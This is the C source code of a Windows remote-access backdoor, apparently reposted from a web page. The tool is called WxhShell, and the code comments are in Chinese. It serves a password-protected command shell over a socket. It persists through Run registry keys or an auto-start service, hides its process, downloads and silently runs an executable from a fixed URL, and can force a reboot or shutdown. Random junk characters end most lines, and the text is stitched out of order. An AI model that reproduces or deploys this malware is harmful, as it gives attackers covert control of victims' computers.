    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/u1chf  
    else { -O'{:s~  
    closesocket(wsh); U't E^W  
    ExitThread(0); FH)t:!#  
    } CzYGq  
    break; ;mEwQ  
    } cVO,~I\\  
  // 获取shell r& vFikIz  
  case 's': { hf;S]8|F  
    CmdShell(wsh);  }10\K  
    closesocket(wsh); ;W]D ~X&  
    ExitThread(0); 24#bMt#^  
    break; !7}IqSs  
  } EE+`i%  
  // 退出 M'kVL0p?vN  
  case 'x': { M70c{s`w5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 94\t1fE  
    CloseIt(wsh); 2ck 4C/ h  
    break; Y[2Wt%2\6  
    } &e5(Djz8t  
  // 离开 (=1)y'.  
  case 'q': { U4Z[!s$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MWiMUTZg3  
    closesocket(wsh); 2@vJ  
    WSACleanup(); n5|l|#c$N  
    exit(1); 1%%'6cWWu  
    break; WzjL-a(  
        } yQ9ZhdQS  
  } Mtm/}I  
  } # kyl?E  
oBr.S_Qe  
  // 提示信息 }^9]jSq5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l71 gf.4g  
} 9Gca6e3  
  } - a y5  
O`WIkBV!  
  return; L'l F/qe^  
} "< v\M85&  
['z!{Ez  
// shell模块句柄 n|Pr/ddL   
int CmdShell(SOCKET sock)  ?>af'o:  
{ 0n.S,3|  
STARTUPINFO si; P.djd$#  
ZeroMemory(&si,sizeof(si)); QdQ d(4/1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; " Ya9~6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I]h-\;96  
PROCESS_INFORMATION ProcessInfo; petW M@  
char cmdline[]="cmd"; n"6;\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -T7xK/  
  return 0; 4[TR0bM%  
} QYQtMb,  
.x!T+`l>8I  
// 自身启动模式 i(*I@ku  
int StartFromService(void) scW'AJJq  
{ _d@=nK)  
typedef struct Bn?:w\%Ue  
{ YzAFC11,  
  DWORD ExitStatus; Po(]rQbE  
  DWORD PebBaseAddress; 9GgA6#  
  DWORD AffinityMask; q_ %cbAcD  
  DWORD BasePriority; $+cAg >  
  ULONG UniqueProcessId; lv]quloT  
  ULONG InheritedFromUniqueProcessId; f6!D L<  
}   PROCESS_BASIC_INFORMATION; ahJ1n<  
B<7/,d'  
PROCNTQSIP NtQueryInformationProcess; =oX>Ph+ P  
1DE@N1l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,Ol (piR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JqCc;Cbd  
B6] <G-  
  HANDLE             hProcess; H2;X   
  PROCESS_BASIC_INFORMATION pbi;  iEIg:  
I;7nb4]AmF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BByCM Y  
  if(NULL == hInst ) return 0; .R5y:O  
99=s4*xzM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R^*K6Ad  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dRI^@n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -h#mn2U~3r  
N j4IQ<OV  
  if (!NtQueryInformationProcess) return 0; ,Q/Ac{C  
p@YB?#Im  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :B|Dr v  
  if(!hProcess) return 0; PWB(5 f?  
7\XE,;4>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9b;A1gu  
QvLZg  
  CloseHandle(hProcess); Sm-wH^~KA  
\*0yaSQF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'Z&;uv,l  
if(hProcess==NULL) return 0; ]XA4;7  
 npp[@*~  
HMODULE hMod; 9bJQT'<R  
char procName[255]; (\a6H2z8l  
unsigned long cbNeeded; tNIlzR-  
g~S)aU\:,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); % ."@Q$lA  
N^w'Hw0  
  CloseHandle(hProcess); 1tMQqI`N  
!k&Q 5s:  
if(strstr(procName,"services")) return 1; // 以服务启动 @}s$]i$|-  
6rN(_Oi-  
  return 0; // 注册表启动 B[5r|d'  
} CO?Xt+1hR  
X|DO~{-au  
// 主模块 x9W(cKB'S  
int StartWxhshell(LPSTR lpCmdLine) }_ mT l@*  
{ 4~z?"  
  SOCKET wsl; Bi3+)k>u7  
BOOL val=TRUE; Pw0Ci  
  int port=0; ?=;qK{)37  
  struct sockaddr_in door; ^Q+i=y{W  
m~#%Q?_ %  
  if(wscfg.ws_autoins) Install(); ]@^coj[  
Xz 4 x  
port=atoi(lpCmdLine); lb*8G  
5 BtX63  
if(port<=0) port=wscfg.ws_port; _-~`03 `!  
Zm ogM7B  
  WSADATA data; sJ z@7.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wJ<Oo@snm  
h*B|fy4K9U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8}e,%{q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w$Ot{i|$(  
  door.sin_family = AF_INET; ,)!u)wz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (Y% Q|u  
  door.sin_port = htons(port); qT:zEt5  
\C^;k%{LV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cLY c6  
closesocket(wsl); efP&xk  
return 1; ,m<H-gwa  
} dq1:s1  
k n[Y   
  if(listen(wsl,2) == INVALID_SOCKET) { SJt<+kg  
closesocket(wsl); JwnQ0 e  
return 1; X[gn+6WB%  
} L6Wt3U`l  
  Wxhshell(wsl); dsx]/49<  
  WSACleanup(); KInk^`C/H  
 y! .J  
return 0; Zk8|K'oHx  
OS|>t./U  
} C[!MS5  
wCf~O'XLw  
// 以NT服务方式启动 bI)u/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r7]zQIE  
{ c#IYFTz  
DWORD   status = 0; b1XRC`Gy  
  DWORD   specificError = 0xfffffff; PQKaqv}N  
.`<@m]m-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SUKxkc(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qn1255fB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 73#x|lY  
  serviceStatus.dwWin32ExitCode     = 0; m!z|h9Ed  
  serviceStatus.dwServiceSpecificExitCode = 0; A\_|un%  
  serviceStatus.dwCheckPoint       = 0; p[lNy{u~M  
  serviceStatus.dwWaitHint       = 0; !o=U19)  
<s5qy-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ofYlR|  
  if (hServiceStatusHandle==0) return; p Dx-2:}  
ZQ^r`W9_ +  
status = GetLastError(); C98]9  
  if (status!=NO_ERROR) (/-hu[:  
{ ae"]\a\&1o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ghl'nqPlm  
    serviceStatus.dwCheckPoint       = 0; 6 5y+Z  
    serviceStatus.dwWaitHint       = 0; Y{v(p7pl  
    serviceStatus.dwWin32ExitCode     = status; Hn>B!Bm*  
    serviceStatus.dwServiceSpecificExitCode = specificError; I1oje0$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #_Z$2L"U  
    return; 7QKr_  
  } / N) W2  
@';B_iQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8t@p @Td|  
  serviceStatus.dwCheckPoint       = 0; "H -"  
  serviceStatus.dwWaitHint       = 0; \<}&&SuH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f7h*Vu`>  
} /!^&;$A'  
Hqnxq  
// 处理NT服务事件,比如:启动、停止 M?b6'd9f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kn)t'_jC  
{ [V'QrcCF  
switch(fdwControl) ^Q*atU  
{ o?1;<gs  
case SERVICE_CONTROL_STOP: Xc"&0v%;#  
  serviceStatus.dwWin32ExitCode = 0; %sHF-n5P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X#3et'  
  serviceStatus.dwCheckPoint   = 0; &E xYXI  
  serviceStatus.dwWaitHint     = 0; "S 3wk=?4  
  { ebPgYxVZR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |#6QThK  
  } OHiQ7#y  
  return; 8-y{a.,u.  
case SERVICE_CONTROL_PAUSE: !mWiYpbU+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k} ]T;|h]  
  break; btdb%Q*  
case SERVICE_CONTROL_CONTINUE: "D?z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rx (2yf  
  break; GA7}K:LP'k  
case SERVICE_CONTROL_INTERROGATE: Qne/g}PD`  
  break; gTA%uRBa  
}; %Y!Yvw^&P(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \:'%9 x  
} u%~igt@x  
GnP|x}YM  
// 标准应用程序主函数 <dW]\h?)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %W@v2  
{ }Tf9S<xpq3  
p~*UpU8u  
// 获取操作系统版本 G7N| :YK  
OsIsNt=GetOsVer(); (' -JY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =gcM%=*'  
lFTF ,G  
  // 从命令行安装 o] mD"3_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2h[85\4  
0P\$ 2lk  
  // 下载执行文件 Z*-g[8FO  
if(wscfg.ws_downexe) { P-ri=E}>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TDd{.8qf  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6xD#?  
} hE h}PX:  
w`q%#q Rk  
if(!OsIsNt) { Ur*6Gi6  
// 如果时win9x,隐藏进程并且设置为注册表启动 =0;^(/1Mc  
HideProc(); F<!)4>2@  
StartWxhshell(lpCmdLine); /4xki_}  
} X/N0LU(q  
else 4.IU!.Uo  
  if(StartFromService()) rk)##)  
  // 以服务方式启动 MNSbtT*^  
  StartServiceCtrlDispatcher(DispatchTable); ss5 m/i7  
else cI=(\pC  
  // 普通方式启动 bf9a 1<\  
  StartWxhshell(lpCmdLine); r2k2%nI-J  
[,TkFbDq"J  
return 0; ei rzYt  
} 4C FB"?n0  
Q'%PNrN  
AE} )o)B  
{'U Rz[g  
=========================================== :>+s0~  
;\p KDPr  
H"qOSf{  
@-+Q# Zz`  
_1U1(^)  
8=]Tr3   
" R58-wUto  
n_'s=]~  
#include <stdio.h> NMA}Q$o s  
#include <string.h> IEU^#=n  
#include <windows.h> PG,_^QGCX  
#include <winsock2.h> A]XZnQ  
#include <winsvc.h> `3:.??7N  
#include <urlmon.h> 23h% < ,  
7U"[Gf  
#pragma comment (lib, "Ws2_32.lib") ",!1m7[wF  
#pragma comment (lib, "urlmon.lib") :sC qjz  
%JLk$sP9y`  
#define MAX_USER   100 // 最大客户端连接数 yrR1[aT  
#define BUF_SOCK   200 // sock buffer HeG)/W?r  
#define KEY_BUFF   255 // 输入 buffer .-<k>9S7_  
IKi5 v~bE  
#define REBOOT     0   // 重启 B9wPU1  
#define SHUTDOWN   1   // 关机 8cA~R-  
aXL{TD:]  
#define DEF_PORT   5000 // 监听端口 {RF-sqce  
&B|D;|7H  
#define REG_LEN     16   // 注册表键长度 $]8h $  
#define SVC_LEN     80   // NT服务名长度 Qci4J  
|_yYLYH'   
// 从dll定义API @WI2hHD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]niJG t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yR4|S2D3xn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u?+Kkkk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EI^06q4x  
3mOtW%Hl  
// wxhshell配置信息 H=\3Jj(4  
struct WSCFG { I}t#%/'YA  
  int ws_port;         // 监听端口 }X=[WCK U  
  char ws_passstr[REG_LEN]; // 口令 IV)<5'v  
  int ws_autoins;       // 安装标记, 1=yes 0=no I6Ce_|n ?k  
  char ws_regname[REG_LEN]; // 注册表键名 "U\4:k`:  
  char ws_svcname[REG_LEN]; // 服务名 A* um{E+   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _vZ"4L+Iw+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !&"<oPjr+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t 89!Ihk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ovj^IjG-`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4)("v-p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !=N"vD*  
*guoWPA|Ij  
}; d20gf:@BM  
ZfB " E  
// default Wxhshell configuration YJo["Q  
struct WSCFG wscfg={DEF_PORT, E>}4$q[r  
    "xuhuanlingzhe", X_7UJ jFw"  
    1, qs QNjt  
    "Wxhshell", +Xemf?  
    "Wxhshell", OD5m9XS  
            "WxhShell Service", &cu lbcz  
    "Wrsky Windows CmdShell Service", )4&cph';  
    "Please Input Your Password: ", -UD\;D?$  
  1, oIefw:FE,a  
  "http://www.wrsky.com/wxhshell.exe", ;vIrGZV<  
  "Wxhshell.exe" Y_QH&GZ  
    }; [3!~PR]  
d.P\fPSD  
// 消息定义模块 l'3pQ;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zA1lca0HK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -*XCxU'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <^lRUw  
char *msg_ws_ext="\n\rExit."; /jRRf"B  
char *msg_ws_end="\n\rQuit."; (e[}/hf6  
char *msg_ws_boot="\n\rReboot..."; t8dm)s[r8  
char *msg_ws_poff="\n\rShutdown..."; Et/&^&=\-  
char *msg_ws_down="\n\rSave to "; `3hSL R  
o5Q{/  
char *msg_ws_err="\n\rErr!"; iySRY^  
char *msg_ws_ok="\n\rOK!"; ?G -e](]^<  
_C`K*u 6Z<  
char ExeFile[MAX_PATH]; sUU{fNC6|  
int nUser = 0; zNIsf "  
HANDLE handles[MAX_USER]; 1SR+m>pL  
int OsIsNt; qIAoA .  
gwWN%Z"  
SERVICE_STATUS       serviceStatus; >b]S3[Q(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t>[KVVg W  
(4Zts0O\  
// 函数声明 Qu]z)";7  
int Install(void); 7K5P8N ,  
int Uninstall(void); P`e!Z:  
int DownloadFile(char *sURL, SOCKET wsh); 6CMub0   
int Boot(int flag); FGh] S-A  
void HideProc(void); H `(exa:w  
int GetOsVer(void);  $O dCL  
int Wxhshell(SOCKET wsl); gR}35:$Z-  
void TalkWithClient(void *cs); p^'3Odd|O  
int CmdShell(SOCKET sock); PgRDKygE  
int StartFromService(void); &T}''  
int StartWxhshell(LPSTR lpCmdLine); Y14W?|KOB  
H(&4[%;MP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T9879[ZU\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >G~R,{6U  
f`&dQ,;  
// 数据结构和表定义 eR3$i)5  
SERVICE_TABLE_ENTRY DispatchTable[] = ryFxn|4  
{ DmOyBtj  
{wscfg.ws_svcname, NTServiceMain}, f0BdXsV#g  
{NULL, NULL} ^J\~XYg{7  
}; `ck$t5:6sp  
44F`$.v96  
// 自我安装 b&5lYp"d  
int Install(void) UF@XK">  
{ xQp|;oW;z  
  char svExeFile[MAX_PATH]; E_bO9nRHV  
  HKEY key; [ l8jRT=R  
  strcpy(svExeFile,ExeFile); \l@,B +)  
HuV J\%.  
// 如果是win9x系统,修改注册表设为自启动 eVM/uDD  
if(!OsIsNt) { {je-I9%OK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qr$;AZ G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "^1L'4'S  
  RegCloseKey(key); Y}vr>\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E{n:J3_X^d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u SR~@Lj ~  
  RegCloseKey(key); NoJ`6MB  
  return 0; w/IZDMBf|  
    } leQT-l2Bk  
  } `3Uj{w/Q:L  
} yOwA8^q  
else { c~v~2DM  
?Oc{bF7  
// 如果是NT以上系统,安装为系统服务 d`/tE?Gw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G7CG~:3h+  
if (schSCManager!=0) zH*KYB  
{ %zO h  
  SC_HANDLE schService = CreateService d%0~c'D8a  
  ( MX ;J5(Ae  
  schSCManager, FEJ~k1z  
  wscfg.ws_svcname, EMc;^ d  
  wscfg.ws_svcdisp, s|NjT  
  SERVICE_ALL_ACCESS, UDL RCS8i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8zBWIi  
  SERVICE_AUTO_START, ]7Z{ 8)T  
  SERVICE_ERROR_NORMAL, QzAK##9bfa  
  svExeFile, =dx1/4bZl|  
  NULL, !XzF67  
  NULL, A?@@*$&  
  NULL, <2nZ&M4/s{  
  NULL, 2 6>ZW4Z  
  NULL U. @*`Fg  
  ); ''kS*3  
  if (schService!=0) =Z+nX0qF  
  { 7YAIA%8  
  CloseServiceHandle(schService); y7|P-3[ 4w  
  CloseServiceHandle(schSCManager); 0{j&6I2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "t0kAG  
  strcat(svExeFile,wscfg.ws_svcname); k}#;Uy=5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T_lsGu/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ymNnkFv  
  RegCloseKey(key); NVl [kw  
  return 0; zR32PG>9  
    } yu;SH[{Wi  
  } _kY#D;`:r  
  CloseServiceHandle(schSCManager); VnT>K9&3  
} SnYLdwgl  
} H&yD*@  
XB[<;*Iz  
return 1; E.iSWAJ(w  
} EutP\K_Y  
%xQ.7~  
// 自我卸载 -uH#VP{0M  
int Uninstall(void) XhPe]P  
{ @+WQ ^  
  HKEY key; . ]8E7  
$:of=WTY(  
if(!OsIsNt) { E~kG2x{a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZY56\qcY  
  RegDeleteValue(key,wscfg.ws_regname); c   c  
  RegCloseKey(key); (S^8UV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :>81BuMvg  
  RegDeleteValue(key,wscfg.ws_regname); |G/7_+J6  
  RegCloseKey(key); Ei2%DMN7)  
  return 0; v{ <[)cr  
  } dgo3'ZO  
} BQ jK8c<  
} jp+_@S>  
else { =@)d5^<5F  
RJeSi`19T)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "Y=+Ls(3o(  
if (schSCManager!=0) =KT7nl  
{ ="d*E/##  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b5:op@V  
  if (schService!=0) } 17.~  
  { vEG'HOP  
  if(DeleteService(schService)!=0) { bOI3^T  
  CloseServiceHandle(schService); <*EZ@XoN>  
  CloseServiceHandle(schSCManager); |*mL1#bB  
  return 0; #Z~C`n u  
  } yE} dj)wd  
  CloseServiceHandle(schService); aTzDew  
  } A%\tiZe  
  CloseServiceHandle(schSCManager); BN,>&1I  
} g-vg6@6  
} i5F:r|  
dr q hQ  
return 1; j'p1q  
} B ZMu[M  
`)4a[thp  
// 从指定url下载文件 n,O5".aa<  
int DownloadFile(char *sURL, SOCKET wsh) !Ss HAE|  
{ OU7 %V)X5  
  HRESULT hr; 1t9.fEmT  
char seps[]= "/"; l|V;Ys5f  
char *token; ,LOQDIyn  
char *file; N]YtLa,t  
char myURL[MAX_PATH]; Jg$xO@.  
char myFILE[MAX_PATH]; Ei({`^  
23DJV);g8  
strcpy(myURL,sURL); s0hBbL0DH  
  token=strtok(myURL,seps); {0YAzZ7  
  while(token!=NULL) N{d@^Yj  
  { 6*@yE  
    file=token; Vga-@  
  token=strtok(NULL,seps); 2yo cu!4l  
  } (ozb%a#B  
 O3NWXe<  
GetCurrentDirectory(MAX_PATH,myFILE); [t0rfl{.  
strcat(myFILE, "\\"); /b,TpuM^  
strcat(myFILE, file); TQ9D68 ,  
  send(wsh,myFILE,strlen(myFILE),0); eX l=i-'  
send(wsh,"...",3,0); La[K!u\B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N6Z{BLZ  
  if(hr==S_OK) ]|:uU  
return 0; vs&8wbS)  
else Dmdy=&G  
return 1; 8n?kZY$,  
9j|gdfb%ml  
} %zo= K}u  
1MA@JA:T  
// 系统电源模块 IJU0[EA]F  
int Boot(int flag) 5 ZfP  
{ m W`oq  
  HANDLE hToken; "t(wG{RxY  
  TOKEN_PRIVILEGES tkp; bZipm(e  
,R wfp=*E  
  if(OsIsNt) { oYM,8 K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t0m*PJcF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?q91:H   
    tkp.PrivilegeCount = 1; R21~Q:b !  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J^3H7 ]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~S(^T9R  
if(flag==REBOOT) { (%< 'A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6/mF2&&g  
  return 0; Ygkv7>?,  
} ^abD !8  
else { G{c#\?12C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5JFV%odo  
  return 0; ]HvZ$  
} zX5G;,_  
  } hG Apuy  
  else { g*-2* \  
if(flag==REBOOT) { 6f] rQ9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m4/}Jx[  
  return 0; T{S4|G1R6  
} j Selop>N  
else {  wRVD_?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YU\Gj S~>&  
  return 0; ?q%b*Ek  
} V-vlTgemwc  
} k:P$LzIB  
ndOfbu;mf  
return 1; 1!/-)1t  
} |%ZpatZA5  
/PC` 0/b  
// win9x进程隐藏模块 #%cR%Z  
void HideProc(void)  .fJ*c  
{ g@E&uyM  
K}2Npo FS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RG? MRxC  
  if ( hKernel != NULL ) ,h!X k  
  { aJ2H.E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j-* TXog  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c$#GM57V  
    FreeLibrary(hKernel); .3g&9WvN!Z  
  } 2X_>vIlEm  
4 =Fg!Eu<  
return; H7jTQW0rp5  
} cV]y=q 6  
7!- \L7<  
// 获取操作系统版本 $- w5o`e  
int GetOsVer(void) eU~?p|Np  
{ ]<X2AO1  
  OSVERSIONINFO winfo; e\~l!f'z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {8ECNQ[]  
  GetVersionEx(&winfo); Uh\]?G[G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <bX 1,}?  
  return 1; n2E4!L|q  
  else 6z]`7`G   
  return 0; %O/d4  
} 5&qY3@I7l  
3M$X:$b  
// 客户端句柄模块 X2P``YFV{  
int Wxhshell(SOCKET wsl) {_as!5l  
{ B"[{]GP BY  
  SOCKET wsh; bm6hZA|  
  struct sockaddr_in client; 2[BA( B  
  DWORD myID; (txt8q  
'Q`C[*c  
  while(nUser<MAX_USER) `5<1EGJsD  
{ IQoH@l&Xk  
  int nSize=sizeof(client); sU*3\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UKYupLu5  
  if(wsh==INVALID_SOCKET) return 1; p5`ZyD ]+  
+3HPA#A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gt5$6>A  
if(handles[nUser]==0) r./z,4A`  
  closesocket(wsh); P#F_>GB  
else ?.j,Bq5At  
  nUser++; c 85O_J  
  } .m!s". ?[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?N2X)Y@yi  
<>&89E%j'  
  return 0; XqX I(q^  
} ,0.|P`|w  
' XEK&Yi1  
// 关闭 socket taixBNv  
void CloseIt(SOCKET wsh) @[0jFjK  
{ i&1U4q  
closesocket(wsh); Yd.027  
nUser--; ,0FwBK  
ExitThread(0); fX""xT NPi  
} F[(6*/46x  
:;<\5Oy ^  
// 客户端请求句柄 jPj 2  
void TalkWithClient(void *cs) +RdI;QmM  
{ +=Yk-nJ  
8 `o{b"l+  
  SOCKET wsh=(SOCKET)cs; g"w)@*?K  
  char pwd[SVC_LEN]; >|5XaaDa  
  char cmd[KEY_BUFF]; v'K % %z  
char chr[1]; !>q?dhw@  
int i,j; N:A3kp  
[Yn;G7cK  
  while (nUser < MAX_USER) { kRQ~hRT6  
H 'D#s;SlR  
if(wscfg.ws_passstr) { VVgsLQd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +tPx0>p;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B,w:DX  
  //ZeroMemory(pwd,KEY_BUFF); w< v1 N  
      i=0; ]v<d0" 2  
  while(i<SVC_LEN) { 5DmCxg  
S_ZLTcq<1  
  // 设置超时 N\c &PS  
  fd_set FdRead; 9/FG,9  
  struct timeval TimeOut; keqr%:E8  
  FD_ZERO(&FdRead); :EYu 4Y  
  FD_SET(wsh,&FdRead); 56"#Syj  
  TimeOut.tv_sec=8; q^)=F_QvG  
  TimeOut.tv_usec=0; p1Y+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &zO3qt6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +SO2M|ru&  
C{8i7D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kboizJp  
  pwd=chr[0]; <>SR4  
  if(chr[0]==0xd || chr[0]==0xa) { Zlr{L]c  
  pwd=0; Sb'N];  
  break; ULV)0SB  
  } G`9cd\^  
  i++; \I'f3  
    } +SAk:3.#CV  
~*jsB=XM/  
  // 如果是非法用户,关闭 socket 83\ o (  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B>{|'z?%>  
} bELIRM9  
s*aH`M7^0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +Gk! t]dy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '2 w XV;`  
,}eRnl\  
while(1) { ~8XX3+]z:X  
VfQMFb',o  
  ZeroMemory(cmd,KEY_BUFF); A*G )CG  
Lhl$w'r  
      // 自动支持客户端 telnet标准   cxAViWsf  
  j=0; TP{>O%b  
  while(j<KEY_BUFF) { S`ax*`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hO5K\QnRL  
  cmd[j]=chr[0]; "PZYgl  
  if(chr[0]==0xa || chr[0]==0xd) { pESB Il  
  cmd[j]=0; {E;2&d  
  break; w> Tyk#7lw  
  } IXbdS9,>F  
  j++; IlcNT_ 5a8  
    } Pd)K^;em  
z\xiACIc  
  // 下载文件 D?iy.Dg  
  if(strstr(cmd,"http://")) { b*btkaVue  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2N L:\%wz  
  if(DownloadFile(cmd,wsh)) >{phyByI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6T R8D\  
  else 83{x"G3>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'LJ %.DJ  
  } 1mT|o_K{ T  
  else { 8O"x;3I9  
kHt!S9r  
    switch(cmd[0]) { &:;/]cwj  
  H arFo  
  // 帮助 mXxZM;P[  
  case '?': { r24\DvS  
